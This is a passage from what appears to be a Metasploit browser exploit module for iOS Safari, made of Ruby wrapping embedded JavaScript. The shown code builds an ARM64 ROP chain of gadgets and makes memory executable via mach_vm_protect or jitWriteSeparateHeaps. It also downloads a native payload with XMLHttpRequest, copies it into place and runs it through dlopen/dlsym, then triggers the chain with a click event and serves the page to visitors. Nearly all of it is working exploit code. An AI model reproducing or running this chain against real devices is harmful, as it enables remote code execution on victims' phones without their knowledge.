arr[pos++] = 0xdead0012; // unused  
arr[pos++] = 0xdead0013; // unused  
arr[pos++] = 0xdead1101; // x28 (unused)  
arr[pos++] = 0xdead1102; // x28 (unused)  
arr[pos++] = 0xdead0014; // x27 == x6 (unused)  
arr[pos++] = 0xdead0015; // x27 == x6 (unused)  
arr[pos++] = 0xdead0016; // x26 (unused)  
arr[pos++] = 0xdead0017; // x26 (unused)  
arr[pos++] = x3.lo(); // x25 == x3 (arg4)  
arr[pos++] = x3.hi(); // x25 == x3 (arg4)  
arr[pos++] = x0.lo(); // x24 == x0 (arg1)  
arr[pos++] = x0.hi(); // x24 == x0 (arg1)  
arr[pos++] = x2.lo(); // x23 == x2 (arg3)  
arr[pos++] = x2.hi(); // x23 == x2 (arg3)  
arr[pos++] = x3.lo(); // x22 == x3 (arg4)  
arr[pos++] = x3.hi(); // x22 == x3 (arg4)  
arr[pos++] = func.lo(); // x21 (target for dispatch)  
arr[pos++] = func.hi(); // x21 (target for dispatch)  
arr[pos++] = 0xdead0018; // x20 (unused)  
arr[pos++] = 0xdead0019; // x20 (unused)  
var tmppos = pos;  
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])  
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])  
arr[pos++] = 0xdead001c; // x29 (unused)  
arr[pos++] = 0xdead001d; // x29 (unused)  
arr[pos++] = ldrx8.lo(); // x30 (next gadget)  
arr[pos++] = ldrx8.hi(); // x30 (next gadget)  
  
// in ldrx8  
if (x4) {  
arr[pos++] = stackloader.lo();  
arr[pos++] = stackloader.hi();  
} else {  
arr[pos++] = dispatch.lo(); // x8 (target for regloader)  
arr[pos++] = dispatch.hi(); // x8 (target for regloader)  
}  
arr[pos++] = 0xdead1401; // (unused)  
arr[pos++] = 0xdead1402; // (unused)  
arr[pos++] = 0xdead1301; // x20 (unused)  
arr[pos++] = 0xdead1302; // x20 (unused)  
arr[pos++] = x1.lo(); // x19 == x1 (arg2)  
arr[pos++] = x1.hi(); // x19 == x1 (arg2)  
arr[pos++] = 0xdead1201; // x29 (unused)  
arr[pos++] = 0xdead1202; // x29 (unused)  
arr[pos++] = regloader.lo(); // x30 (next gadget)  
arr[pos++] = regloader.hi(); // x30 (next gadget)  
  
// in regloader  
// NOTE: REGLOADER DOES NOT ADJUST SP!  
// sometimes i didn't get expected value in x4  
// and i have no fucking idea why  
// usleep likely did the trick, but I would still keep the code  
// with movx4  
//arr[pos++] = x4.lo() // x4 (should be -- but see lines above)  
//arr[pos++] = x4.hi() // x4 (should be -- but see lines above)  
  
if (x4) {  
// in stackloader:  
arr[pos++] = 0xdaad0010; // unused  
arr[pos++] = 0xdaad0011; // unused  
arr[pos++] = 0xdaad0012; // unused  
arr[pos++] = 0xdaad0013; // unused  
arr[pos++] = 0xdaad1101; // x28 (unused)  
arr[pos++] = 0xdaad1102; // x28 (unused)  
arr[pos++] = 0xdaad0014; // x27 == x6 (unused)  
arr[pos++] = 0xdaad0015; // x27 == x6 (unused)  
arr[pos++] = 0xdaad0016; // x26 (unused)  
arr[pos++] = 0xdaad0017; // x26 (unused)  
arr[pos++] = 0xdaad0018; // x25 (unused)  
arr[pos++] = 0xdaad0019; // x25 (unused)  
arr[pos++] = 0xdaad00f0; // x24 (unused)  
arr[pos++] = 0xdaad00f1; // x24 (unused)  
arr[pos++] = 0xdaad00f2; // x23 (unused)  
arr[pos++] = 0xdaad00f3; // x23 (unused)  
arr[pos++] = 0xdaad00f4; // x22 (unused)  
arr[pos++] = 0xdaad00f5; // x22 (unused)  
arr[pos++] = func.lo(); // x21 (target for dispatch)  
arr[pos++] = func.hi(); // x21 (target for dispatch)  
arr[pos++] = 0xdaad0018; // x20 (unused)  
arr[pos++] = 0xdaad0019; // x20 (unused)  
tmppos = pos;  
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])  
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])  
arr[pos++] = 0xdaad001c; // x29 (unused)  
arr[pos++] = 0xdaad001d; // x29 (unused)  
arr[pos++] = ldrx8.lo(); // x30 (next gadget)  
arr[pos++] = ldrx8.hi(); // x30 (next gadget)  
  
// in ldrx8  
arr[pos++] = dispatch.lo(); // x8 (target for movx4)  
arr[pos++] = dispatch.hi(); // x8 (target for movx4)  
arr[pos++] = 0xdaad1401; // (unused)  
arr[pos++] = 0xdaad1402; // (unused)  
arr[pos++] = x4.lo(); // x20 == x4 (arg5)  
arr[pos++] = x4.hi(); // x20 == x4 (arg5)  
arr[pos++] = 0xdaad1301; // x19 (unused)  
arr[pos++] = 0xdaad1302; // x19 (unused)  
arr[pos++] = 0xdaad1201; // x29 (unused)  
arr[pos++] = 0xdaad1202; // x29 (unused)  
arr[pos++] = movx4.lo(); // x30 (next gadget)  
arr[pos++] = movx4.hi(); // x30 (next gadget)  
}  
  
// after dispatch:  
  
// keep only one: these or 0xdeaded01  
arr[pos++] = 0xdead0022; // unused  
arr[pos++] = 0xdead0023; // unused  
  
arr[pos++] = 0xdead0022; // unused  
arr[pos++] = 0xdead0023; // unused  
arr[pos++] = 0xdead0024; // x22 (unused)  
arr[pos++] = 0xdead0025; // x22 (unused)  
arr[pos++] = 0xdead0026; // x21 (unused)  
arr[pos++] = 0xdead0027; // x21 (unused)  
arr[pos++] = 0xdead0028; // x20 (unused)  
arr[pos++] = 0xdead0029; // x20 (unused)  
arr[pos++] = 0xdead002a; // x19 (unused)  
arr[pos++] = 0xdead002b; // x19 (unused)  
arr[pos++] = 0xdead002c; // x29 (unused)  
arr[pos++] = 0xdead002d; // x29 (unused)  
arr[pos++] = jump_to.lo(); // x30 (gadget)  
arr[pos++] = jump_to.hi(); // x30 (gadget)  
}  
  
var add_call = function(func, x0, x1, x2, x3, x4, jump_to) {  
x0 = x0 || Int64.Zero  
x1 = x1 || Int64.Zero  
x2 = x2 || Int64.Zero  
x3 = x3 || Int64.Zero  
jump_to = jump_to || stackloader  
  
return (ldrx8 ? add_call_via_x8 : add_call_llvm)(  
func, x0, x1, x2, x3, x4, jump_to  
)  
}  
  
#{ios_11 ? '  
if (jitWriteSeparateHeaps.lo() || jitWriteSeparateHeaps.hi()) {  
add_call(jitWriteSeparateHeaps  
, Sub(codeAddr, memPoolStart) // off  
, paddr // src  
, shsz // size  
);  
} else {  
fail("jitWrite");  
}  
' : '  
add_call(mach_vm_protect,  
mach_task_self_, // task  
codeAddr, // addr  
shsz, // size  
new Int64(0), // set maximum  
new Int64(7) // prot (RWX)  
);  
  
add_call(memmove,  
codeAddr, // dst  
paddr, // src  
shsz // size  
);  
'}  
  
add_call(codeAddr,  
dlopen,  
dlsym,  
jitWriteSeparateHeaps,  
memPoolStart,  
memPoolEnd,  
);  
  
for(var i = 0; i < 0x20; ++i)  
{  
arr[pos++] = 0xde00c0de + (i<<16);  
}  
  
var sp = Add(stack, (arrsz - off) * 4);  
memory.writeInt64(Add(el_addr, 0x60), Add(sp, 0x60)); // x29  
memory.writeInt64(Add(el_addr, 0x68), sp); // x2 (copied into sp)  
  
// trigger  
//print("u rdy?")  
wrapper.addEventListener("click", function(){});  
  
}  
  
#{get_mem_rw}  
  
function go() {  
try {  
var req = new XMLHttpRequest;  
req.open("GET", "exploit");  
req.responseType = "arraybuffer";  
req.addEventListener("load", function() {  
try {  
if (req.responseType != "arraybuffer") throw "y u no blob";  
payload.set(new Uint8Array(req.response), 0x0);  
pwn();  
} catch (e) {  
fail("Error: " + e + (e != null ? " " + e.stack : ""))  
}  
});  
req.addEventListener("error", function(ev) {  
fail(ev)  
});  
req.send()  
} catch (e) {  
fail("Error: " + e + (e != null ? " " + e.stack : ""))  
}  
};  
  
go();  
  
</script>  
</body>  
</html>  
^  
unless datastore['DEBUG_EXPLOIT']  
html.gsub!(/\/\/.*$/, '') # strip comments  
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);  
end  
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})  
end  
  
end